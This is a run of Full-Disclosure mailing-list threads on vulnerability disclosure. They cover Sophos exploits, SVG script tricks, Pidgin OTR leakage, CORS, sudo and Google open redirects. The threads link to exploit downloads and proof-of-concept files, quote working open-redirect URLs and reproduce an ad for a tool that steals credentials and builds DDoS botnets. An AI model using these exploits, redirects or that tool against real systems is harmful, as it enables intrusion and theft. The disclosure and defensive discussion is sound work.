Re: [Full-disclosure] multiple critical vulnerabilities in sophos products
Reading the paper now. The previous one about internals was awesome. enumerating badness keyword :D ROFL Cheers antisnatchor On Mon, Nov 5, 2012 at 3:14 PM, Tavis Ormandy tav...@cmpxchg8b.com wrote: List, I've completed the second paper in my series analyzing Sophos Antivirus internals, titled Practical Attacks against Sophos Antivirus. As the name suggests, this paper describes realistic attacks against networks using Sophos products. The paper includes a working pre-authentication remote root exploit that requires zero-interation, and could be wormed within the next few days. I would suggest administrators deploying Sophos products study my results urgently, and implement the recommendations. I've also included a section on best practices for Sophos users, intended to help administrators of high-value networks minimise the potential damage to their assets caused by Sophos. The paper is available to download at the link below. https://lock.cmpxchg8b.com/sophailv2.pdf A working exploit for Sophos 8.0.6 on Mac is available, however the techniques used in the exploit easily transfer to Windows and Linux, due to multiple critical implementation flaws described in the paper. Testcases for the other flaws described in the paper are available on request. https://lock.cmpxchg8b.com/sophail-rev3-exploit.tar.gz It is my understanding that Sophos plan to publish their own advice to their customers today. I have not been given an opportunity to review the advice in advance, so cannot comment on it's accuracy. I have had a working exploit since September, but Sophos requested I give them two months to prepare for this publication before discussing it. A timeline of our interactions is included in the paper. I believe CERT are also preparing an advisory. I'm currently working on the third paper in the series, which I'll announce at a later date. Please contact me if you would like to be a reviewer. I will add any last minute updates to twitter, at http://twitter.com/taviso. If you would like to learn more about Sophos internals, you can read my previous paper in the series here https://lock.cmpxchg8b.com/sophail.pdf I've reproduced a section of the conclusion below. Tavis. Conclusion As demonstrated in this paper, installing Sophos Antivirus exposes machines to considerable risk. If Sophos do not urgently improve their security posture, their continued deployment causes significant risk to global networks and infrastructure. In response to early access to this report, Sophos did allocate some resources to resolve the issues discussed, however they were cearly ill-equipped to handle the output of one co-operative, non-adversarial security researcher. A sophisticated state-sponsored or highly motivated attacker could devastate the entire Sophos user base with ease. Sophos claim their products are deployed throughout healthcare, government, finance and even the military. The chaos a motivated attacker could cause to these systems is a realistic global threat. For this reason, Sophos products should only ever be considered for low-value non-critical systems and never deployed on networks or environments where a complete compromise by adversaries would be inconvenient. -- - tav...@cmpxchg8b.com | pgp encrypted mail preferred --- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- /antisnatchor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] multiple critical vulnerabilities in sophos products
Also, They told me they will work on this, and will improve their internal security practices. is just ridiculous. I have the same feeling you had while reaching out with them, when the results from some of my product pentests cannot be disclosed even after patching. I wish we could always go Full Disclosure, like old times. Unfortunately lawsuits are a scary beast. Finally, honestly, not interested in buying a new kitchen for my house. Cheers antisnatchor On Mon, Nov 5, 2012 at 3:29 PM, Michele Orru antisnatc...@gmail.com wrote: Reading the paper now. The previous one about internals was awesome. enumerating badness keyword :D ROFL Cheers antisnatchor On Mon, Nov 5, 2012 at 3:14 PM, Tavis Ormandy tav...@cmpxchg8b.com wrote: List, I've completed the second paper in my series analyzing Sophos Antivirus internals, titled Practical Attacks against Sophos Antivirus. As the name suggests, this paper describes realistic attacks against networks using Sophos products. The paper includes a working pre-authentication remote root exploit that requires zero-interation, and could be wormed within the next few days. I would suggest administrators deploying Sophos products study my results urgently, and implement the recommendations. I've also included a section on best practices for Sophos users, intended to help administrators of high-value networks minimise the potential damage to their assets caused by Sophos. The paper is available to download at the link below. https://lock.cmpxchg8b.com/sophailv2.pdf A working exploit for Sophos 8.0.6 on Mac is available, however the techniques used in the exploit easily transfer to Windows and Linux, due to multiple critical implementation flaws described in the paper. Testcases for the other flaws described in the paper are available on request. https://lock.cmpxchg8b.com/sophail-rev3-exploit.tar.gz It is my understanding that Sophos plan to publish their own advice to their customers today. I have not been given an opportunity to review the advice in advance, so cannot comment on it's accuracy. I have had a working exploit since September, but Sophos requested I give them two months to prepare for this publication before discussing it. A timeline of our interactions is included in the paper. I believe CERT are also preparing an advisory. I'm currently working on the third paper in the series, which I'll announce at a later date. Please contact me if you would like to be a reviewer. I will add any last minute updates to twitter, at http://twitter.com/taviso. If you would like to learn more about Sophos internals, you can read my previous paper in the series here https://lock.cmpxchg8b.com/sophail.pdf I've reproduced a section of the conclusion below. Tavis. Conclusion As demonstrated in this paper, installing Sophos Antivirus exposes machines to considerable risk. If Sophos do not urgently improve their security posture, their continued deployment causes significant risk to global networks and infrastructure. In response to early access to this report, Sophos did allocate some resources to resolve the issues discussed, however they were cearly ill-equipped to handle the output of one co-operative, non-adversarial security researcher. A sophisticated state-sponsored or highly motivated attacker could devastate the entire Sophos user base with ease. Sophos claim their products are deployed throughout healthcare, government, finance and even the military. The chaos a motivated attacker could cause to these systems is a realistic global threat. For this reason, Sophos products should only ever be considered for low-value non-critical systems and never deployed on networks or environments where a complete compromise by adversaries would be inconvenient. -- - tav...@cmpxchg8b.com | pgp encrypted mail preferred --- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- /antisnatchor -- /antisnatchor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] FW: Curso online - Profesional pentesting - Promocion ( 25% de descuento )
LOL, when did I say ExploitPack is cool ? Maybe in your dreams! And btw, the Javascript agent you sent are not the one I analyzed. This is the one: http://pastebin.com/7j1wfB2n After you scroll down, skipping jquery, you see the BeEF code that you included. You were just replacing the BeEF global variable calling it bot, and re-using large parts of BeEF. Anyway, everyone knows you...you're like the second MustLive. Your Metasploit clone, apart from shitty InfoSec articles, is a complete failure and clone. So get a life man! Cheers antisnatchor On Sun, May 20, 2012 at 8:04 PM, Juan Sacco jsa...@exploitpack.com wrote: Michele Orru.. Sorry to write you directly to the list.. But you did it too.. So.. please allow me to answer.. Exploit Pack != Beef ... Just similar projects.. different approaches In fact you came to a webcast where I showed the code of Exploit Pack... I remember you saying that Exploit Pack is a cool project... Please check out our javascript agent... http://www.exploitpack.com/Gate/jsacco.js http://www.exploitpack.com/Gate/PLAINdoMagic.js I am not pointing you with a gun.. if you don not like Exploit Pack tools.. just do not use our tools... In my personal opinion, beef is a good project, in fact I am a big fan of it. But it doesnt work like i want it, beef cannot handle more than 10 bots.. almost all the times I run the ruby project it crashes.. also some modules doesnt work either.. the popup persistent is old and do not work on recent browsers.. among other things.. Also beef doesnt have any module for defense like clientside SQLi / XSS protection... SQLi: http://www.youtube.com/watch?v=kD2gI8giOQA XSS: http://www.youtube.com/watch?v=1rYy5SA9PPsfeature=relmfu Regards JSacco On Sun, May 20, 2012 at 7:40 AM, Michele Orru antisnatc...@gmail.com wrote: An btw, his WebSecurity tool is a pure clone of BeEF. If you try it, and analyze the Javascript hook file, is the same thing. He just change the global variable name from beef to bot, leaving everything else :D including the BeEF version he used to copy from. LOL. On Sun, May 20, 2012 at 8:30 AM, BMF badmotherfs...@gmail.com wrote: Actually, this Juan Sacco assclown has been pissing me off too. I'm in some group with him on linkedin and getting his messages. I keep flagging them as spam. I wish I knew how to get him to stop emailing and messaging me. Juan: Knock it off, you disaffected deleterious douchenozzle. On Sat, May 19, 2012 at 10:44 AM, Charles Morris cmor...@cs.odu.edu wrote: I request your permission to test any and all of your facilities in any way I deem appropriate including (by not limited to) your personal machines, the machines of your coworkers and family, and any other device I deem within scope of my testing. Further, I request you to grant full, unlimited access and authorization for me to test these devices in any way I see fit with full unadulterated impunity. stop flexing ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- /antisnatchor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- /antisnatchor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] FW: Curso online - Profesional pentesting - Promocion ( 25% de descuento )
An btw, his WebSecurity tool is a pure clone of BeEF. If you try it, and analyze the Javascript hook file, is the same thing. He just change the global variable name from beef to bot, leaving everything else :D including the BeEF version he used to copy from. LOL. On Sun, May 20, 2012 at 8:30 AM, BMF badmotherfs...@gmail.com wrote: Actually, this Juan Sacco assclown has been pissing me off too. I'm in some group with him on linkedin and getting his messages. I keep flagging them as spam. I wish I knew how to get him to stop emailing and messaging me. Juan: Knock it off, you disaffected deleterious douchenozzle. On Sat, May 19, 2012 at 10:44 AM, Charles Morris cmor...@cs.odu.edu wrote: I request your permission to test any and all of your facilities in any way I deem appropriate including (by not limited to) your personal machines, the machines of your coworkers and family, and any other device I deem within scope of my testing. Further, I request you to grant full, unlimited access and authorization for me to test these devices in any way I see fit with full unadulterated impunity. stop flexing ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- /antisnatchor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Trigerring Java code from a SVG image
Nice one. I thought behaviors like these were already fixed, but I was wrong :D Certainly something to add to BeEF. Pity I will not be at HITB. Cheers antisnatchor On Wed, May 16, 2012 at 6:29 PM, Nicolas Grégoire nicolas.grego...@agarri.fr wrote: Uploading a SVG chameleon (SVG file triggering a XSLT transformation) to a website allows to display nearly arbitrary content if the file is called directly. In order to demonstrate this point _and_ the weird Opera behavior, I put online a SVG chameleon and a HTML file calling it via img: http://www.agarri.fr/docs/svg2html.svg http://www.agarri.fr/docs/svg2html.html If the chameleon is called directly, Opera, Firefox and Webkit (IE untested) execute the HTML Javascript code located in the output document. Look at the DOM, there's no more reference to the source SVG file anymore. If the chameleon is called via img, only Opera renders the HTML output (without executing the Javascript). I didn't test if the inter-documents behavior is similar to the (i)frames one ... Screen-shot: http://www.agarri.fr/docs/opera-chameleon.png shameless advertisingI'll demonstrate some additional XML/XSLT/SVG/... tricks at Hack in the Box Amsterdam next week/shameless advertising Nicolas ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- /antisnatchor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Trigerring Java code from a SVG image
Mario Heiderich did a lot of research on that, he found so many bugs that allowed to embed Javascript in SVG images. Nice stuff Nick btw, Cheers antisnatchor On Wed, May 16, 2012 at 10:13 AM, Dan Kaminsky d...@doxpara.com wrote: Yeah, there's a bunch of wild stuff in SVG. The browsers ignore most of it, AFAIK. I think Firefox is the only browser to even consider ForeignObjects (which let you throw HTML back into SVG). Probably the most interesting SVG thing is how they either do or don't have script access, depending on whether or not they're loaded as img's. It would be problematic indeed if img src=foo.jpg could suddenly render script! On Tue, May 15, 2012 at 5:07 AM, Nicolas Grégoire nicolas.grego...@agarri.fr wrote: Hello, SVG is a XML-based file format for static or animated images. Some SVG specifications (like SVG 1.1 and SVG Tiny 1.2) allow to trigger some Java code when the SVG file is opened. Given that I had to look at these features for a customer, I developed some PoC codes which are now available online: http://www.agarri.fr/docs/batik-evil.svg http://www.agarri.fr/docs/batik-evil.jar I published a more detailed article on my blog: http://www.agarri.fr/blog/ Regards, Nicolas Grégoire / @Agarri_FR ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- /antisnatchor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [New tool] - Exploit Pack - Web Security
LOL :D loosers Cheers antisnatchor On Thu, Apr 26, 2012 at 3:07 PM, Mario Vilas mvi...@gmail.com wrote: The exploitpack.com website and the video have been removed... (maybe we can call this a legally induced denial of service vulnerability?) On Tue, Apr 24, 2012 at 12:31 PM, Michele Orru antisnatc...@gmail.com wrote: I'm also wondering if your tool is a clone of our BeEF or not :D Cheers antisnatchor On Tue, Apr 24, 2012 at 11:25 AM, Jerome Athias jer...@netpeas.com wrote: Hi, I think that people here would be more interested by the (new?) techniques you're using in your tool than by your own (not documented?) implementation. ie: are you using MSF browser autopwn technique for browser control? (Or, will we have to spend individually 3 days to review and test your tool?) My 2 cts /JA Le 23/04/2012 21:52, runlvl a écrit : Exploit Pack - Web Security Edition This tool allows you to take control of remote browsers, steal social network credentials, obtain persistence on it, DDoS and more. Demo: http://www.youtube.com/watch?v=B_AYyRFNokI Main features: - Hacking of Gmail, Yahoo, Facebook, Live, Linkedin - Session persistence - 0day exploits included - Remote browser control - DDoS by creating botnets - Launch remote exploits - Steal credentials Questions? supp...@exploitpack.com Official site: http://exploitpack.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- Jerome Athias - NETpeas VP, Director of Software Engineer Palo Alto - Paris - Casablanca www.netpeas.com - Stay updated on Security: www.vulnerabilitydatabase.com The computer security is an art form. It's the ultimate martial art. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- /antisnatchor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” -- /antisnatchor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [New tool] - Exploit Pack - Web Security
I'm also wondering if your tool is a clone of our BeEF or not :D Cheers antisnatchor On Tue, Apr 24, 2012 at 11:25 AM, Jerome Athias jer...@netpeas.com wrote: Hi, I think that people here would be more interested by the (new?) techniques you're using in your tool than by your own (not documented?) implementation. ie: are you using MSF browser autopwn technique for browser control? (Or, will we have to spend individually 3 days to review and test your tool?) My 2 cts /JA Le 23/04/2012 21:52, runlvl a écrit : Exploit Pack - Web Security Edition This tool allows you to take control of remote browsers, steal social network credentials, obtain persistence on it, DDoS and more. Demo: http://www.youtube.com/watch?v=B_AYyRFNokI Main features: - Hacking of Gmail, Yahoo, Facebook, Live, Linkedin - Session persistence - 0day exploits included - Remote browser control - DDoS by creating botnets - Launch remote exploits - Steal credentials Questions? supp...@exploitpack.com Official site: http://exploitpack.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- Jerome Athias - NETpeas VP, Director of Software Engineer Palo Alto - Paris - Casablanca www.netpeas.com - Stay updated on Security: www.vulnerabilitydatabase.com The computer security is an art form. It's the ultimate martial art. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- /antisnatchor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] pidgin OTR information leakage
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Jann Horn wrote: 2012/2/25 Dimitris Glynos dimit...@census-labs.com: Pidgin transmits OTR (off-the-record) conversations over DBUS in plaintext. This makes it possible for attackers that have gained user-level access on a host, to listen in on private conversations associated with the victim account. Basically, you're saying that if I have the rights of a user on a machine, I can access the private conversations of that user? Ooooh no. Well, I can also copy his keyfiles, no? And I can alter his settings. And spawn fake Update didn't work, please enter root password to proceed windows. I could alter his ~/.bashrc so that whenever he launches sudo or su, a script is launched instead that grabs his password. So, please, what's the point? I think you didn't understood the content of the advisory. If there are 10 non-root users in an Ubuntu machine for example, if user 1 is using pidgin with OTR compiled with DBUS, then user 2 to 10 can see what user 1 pidgin conversation. Simple as that, without impersonating user 1 or knowing his password. Cheers antisnatchor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Version: GnuPG/MacGPG2 v2.0.17 (Darwin) Comment: GPGTools - http://gpgtools.org Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBAgAGBQJPS9tfAAoJEBgl8Z+oSxe4fv8IAIHrER/TssgDxUmQrpcs11Ud eYdxLG897aa7plBwi8bABSVR/0moO4cH0w3dvcgIYJ1kSlxiy6NLqlGi9SF6biAx Yw4uDDeaQggO9CMS8FX/Dn8JNhZUxQ47C0M4hydd8Irg5FPPUBRDcXkcH5MjI35v GcbSx2MEN5YrSvn4C6z2M3MJcuyhROlWfsa68cBc3EVIe4CjWTK1NLxCidXLrn8V aXtGOpnrXZPoJeNjhCQGvhnAUMdn2W5PQjF24f6hzqb8vHkF7Y0ZunD9IxoWhnMU sNGCcUNAEEDXfGUV6LtkwZOP1l6W7bZTRNqT7C8Jsp/K4Pfbit+ALXIhIlQZCds= =zebT -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Pros and cons of 'Access-Control-Allow-Origin' header?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Take a look at http://beefproject.com internals. We're using that header. Actually it depends how do you use it. It's like crossdomain.xml: you can use a wildcard or not, it's up to you. Cheers antisnatchor David Blanc wrote: Does 'Access-Control-Allow-Origin' header provide any benefits in defending against cross site scripting attacks? Doesn't 'Access-Control-Allow-Origin' header make any XSS flaw trivially exploitable? For example, if an attacker finds an XSS flaw in a web application, he can now inject a JavaScript with XMLHttpRequest that sends a request to attacker's web server which serves resources with the HTTP header Access-Control-Allow-Origin: *. The browser would see this header and fetch the resource from the attacker's web server. Isn't the web a safer place without this header? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Version: GnuPG/MacGPG2 v2.0.17 (Darwin) Comment: GPGTools - http://gpgtools.org Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBAgAGBQJPRUjKAAoJEBgl8Z+oSxe4Gn8H+wTu5HqCgm5md7jZOghFV0c0 TSgTakNd05x60raj1wNeCXjqE2mqHDvECjJIezlzlDgAx3q2TpagUlzR2iIICc6Y 25N9CCIkvb6WPqBl3Ee/NYkXPgKb6GDNGzdzNGZtrzZZrvOP3Dy6MCvw6RxwjcWo DtAzvHd4tAktRMfOpE61ICwyXOl5dCER4a/ai3DolN7O5xJvv0SsB3qgBF+4++pJ XhuQC9WA3j9994k9n9x4NGqJBZUE7vvfTIZR3T85BgcY8YiJgOHTmarMF7Fb6kHB mSLEVLWE1bY3aMKN7+SPjnkS7LZeCoMnhmXEQ2jcWCPUBQpv/hzjq6hgduOSoes= =xNpJ -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Pros and cons of 'Access-Control-Allow-Origin' header?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Michal Zalewski wrote: Does 'Access-Control-Allow-Origin' header provide any benefits in defending against cross site scripting attacks? No. It's a mechanism to control cross-origin XMLHttpRequests (and some other peripheral things), and adding it does not reduce the likelihood or exploitability of XSS bugs. If you use it incorrectly, you may end up removing most of the security assurances provided by the same-origin policy, but that's a separate topic. Doesn't 'Access-Control-Allow-Origin' header make any XSS flaw trivially exploitable? For example, if an attacker finds an XSS flaw in a web application, he can now inject a JavaScript with XMLHttpRequest that sends a request to attacker's web server which serves resources with the HTTP header Access-Control-Allow-Origin: *. The browser would see this header and fetch the resource from the attacker's web server. If you have an XSS vulnerability, there are many simpler ways to relay data to an attacker-controlled site without the need to use CORS. @DavidBlanc what Michal said is what I meant before, and what we're actually doing in BeEF :-) If you have an XSS of whatever of the 3 types, you are already pwned, meaning that whoever exploits the XSS loading an external JS is controlling your browser across the whole domain of the vulnerable webapp (SOP restrictions applied, unless you don't have a 0day, use CORS, etc..) Specifically in BeEF we use Access-Control-Allow-Origin with a wildcard just because we cannot know in advance all the browsers that will be hooked. BTW, not to re-quote mz, but his latest book is a great resource to clarify your questions :D Cheers antisnatchor /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Version: GnuPG/MacGPG2 v2.0.17 (Darwin) Comment: GPGTools - http://gpgtools.org Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBAgAGBQJPRXlQAAoJEBgl8Z+oSxe4uxQH/04wZ4Rl1GLiLs+CrV19KqKF 9Ymjs2Rn5gvR5vSjTpIDEcfuw/NX52lxHBkempaXau/i021N4TTUgv2LX3BRo4YT oUyK3QzN1JuPfGclL+xRalV+3Kl67Kvdngm72Prm5V1Om4zcF4aCGXpCF/iMpp+4 nNRlFK3XKPCT6dZFeV2Skwy9EDVGwGNrEXmFT6xYfUjzAxDxBKr92dGs3icQiWDK BahWu2Zi70F+wszUPEMDzkw16savz1ra+STVx6uge7797cspvY8HP090CVkPrT4u PVDfiWSAKPE9xt5u52en98p43Gw+nBeJNThTwdSw/f9gAgPKYtf8WjkvceR+LXU= =0N+e -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Advisory: sudo 1.8 Format String Vulnerability
On Mon, Feb 6, 2012 at 11:56 AM, Roman Medina-Heigl Hernandez ro...@rs-labs.com wrote: Folks at @vupen seems to have it exploited the hard way. We successfully exploited the recent Sudo local root / format string vuln including full bypass of FORTIFY_SOURCE #GotRoot Yep, looks like. I hope it will not be like with the Chrome Sandbox bypass that was achieved through a flash 0day :-) Maybe this time they exploited sudo through CUPS 1.1 ahah antisnatchor Src: https://twitter.com/#!/VUPEN/status/165454997444767745 Cheers, -Román joernchen of Phenoelit escribió: Hi, On 01/31/2012 05:14 PM, Todd C. Miller wrote: joernchen is correct, it is probably still possible to exploit with -D_FORTIFY_SOURCE=2, though it is more difficult. On systems with ASLR and a non-executable stack it should be even harder. nasty thing is: it's a local exploit so you got nearly unlimited tries for free =). It will just be noisy in dmesg due to all the segfaults while brute forcing the right values. cheers, joernchen ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- /antisnatchor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 I'm very courious to know why Google is not taking caring about Open Redirection issues. I know what Chris think about it: http://scarybeastsecurity.blogspot.com/2010/06/open-redirectors-some-sanity.html Anyway, IMHO I guess it's better and stealthier, from an attacker point of view, to use an open redirection in Google encoding the redirected domain than register ggle.com and phish his victims with that fake domain. Cheers antisnatchor secure poon wrote: Problem: Google suffers from an open redirect that can be used to trick users into visiting sites not originating from google.com Example: http://www.google.com/local/add/changeLocale?currentLocation=http://www.bing.com http://www.google.com/local/add/changeLocale?currentLocation=http://www.tubgirl.ca Regards suckure ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBAgAGBQJO371zAAoJEBgl8Z+oSxe4klAIAI0wfyCe4UBzQscTxucsXX4g D2mbXwhn39r0mqYii86wlLe0U68rM7qXaFo9Y2ivXq+Q9ol1t3OZ/mjisPKAzYpu 98znH6kjoOKR9Rhbo4/FMGrdxCZaRGw+l0GOyF1J7ZHxz0SpwIKcik9XSbeEcFwk 5oMZQN3nxYkNL7BSeCzlfCQ5KqzmBSI6J7Xnp+bl7F83BBcE9TCgriKt4iSjSwe5 Jbm/rd203r1EbA3YbfT0UCdihHjZVMDm3C9JPlUHZOeNxfpHmqkL2sKr90QF+Pvx TEuNxwDp0pcnVngNW5dIcMNihrwZ6qPLCYw9bbwkTYXaSCBqFAFadOcYF/Oqft0= =huaT -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] fast and somewhat reliable cache timing
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Great PoC Michal, I tested the orig PoC on Chrome 15, Opera 11.52 and FF 8.1 on Mac OSX 10.6.8 and is reliable. I'm certainly adding it to the BeEF project. Cheers antisnatchor Michal Zalewski wrote: Evening, This party trick is not particularly exciting, but hopefully highlights a vaguely interesting point: http://lcamtuf.coredump.cx/cachetime/ In essence, in the past few years, browser vendors have severely crippled CSS :visited selectors in order to prevent CSS-based history snooping that made the headlines not long ago (see, for example, http://wtikay.com). Although it's fairly obvious that other privacy side channels, such as cache timing, theoretically disclose comparable data, the attacks demonstrated so far offered, at best, vaguely probabilistic results (say, http://www.cs.princeton.edu/sip/pub/webtiming.pdf). On top of that, cache probing was considered destructive, which significantly limited its usability. Consequently, an argument was made that CSS :visited offered unique performance and reliability benefits and needed to be addressed separately, while no serious work takes place on the remaining vectors. My PoC exploits cache timing in Firefox in what appears to be a fairly fast and reliable way. It is a crude hack, so it will probably fail for some of you - but it's probably still interesting. The key point is that to probe for cached content without immediately polluting the cache, we abort navigation before the HTTP request is made. We also work around setTimeout / setInterval clamps by leveraging event delivery. PS. If this is even remotely interesting, you may also enjoy http://lcamtuf.coredump.cx/tangled/ Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBAgAGBQJO2gzyAAoJEBgl8Z+oSxe4Gs8H/jgNmbiKwxSsisCuyN51bIbW C/8seFbSOtmUu15UghUvunHNTDcINC6DE9MCpW8NisgHKlc6GAgdrU+2kLBy94bR 7RVhvbO0ok9MoII4iJqbl392tscWzJ07HCfZEOOwgy4JoI8/lla6LNPhUBepcayX 50gZclVxRreBbbb+W9Oboz50u8rcfJCu/zopLPbrhNDdL7G+ORD9pO0FRc3+jsgm 11/Bbs9bwRTJGIOsm+TILvb2lpDHS6Ax6jbjj+9udqBW3oQfBtveb8aAFtDg7+vk Vz8aODJ78V6bcqCLn+I1WcedD0/cEHvkKi2E+UcBLdF2OQp5+mUIMiN8pnluvBE= =nUp+ -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Voxsmart VoxRecord Control Centre - Blind SQLi and auth. bypass
Correction or not correction, this VoxSmart tool just sucks. How come they are vulnerable to auth bypass with or 1=1--??? Hey, we're in 2012 (almost)...wake up ahaha Cheers antisnatchor On Fri, Dec 2, 2011 at 10:58 AM, Piotr Duszynski pi...@duszynski.eu wrote: Small correction regarding the time line of this disclosure: [Time-line] 14/11/2011 - Vendor notified 2/12/2011 - Vendor response ??? - Vendor patch release 30/11/2011 - Public disclosure Cheers, @drk1wi ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- /antisnatchor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Secunia jumps on vuln reward bandwagon
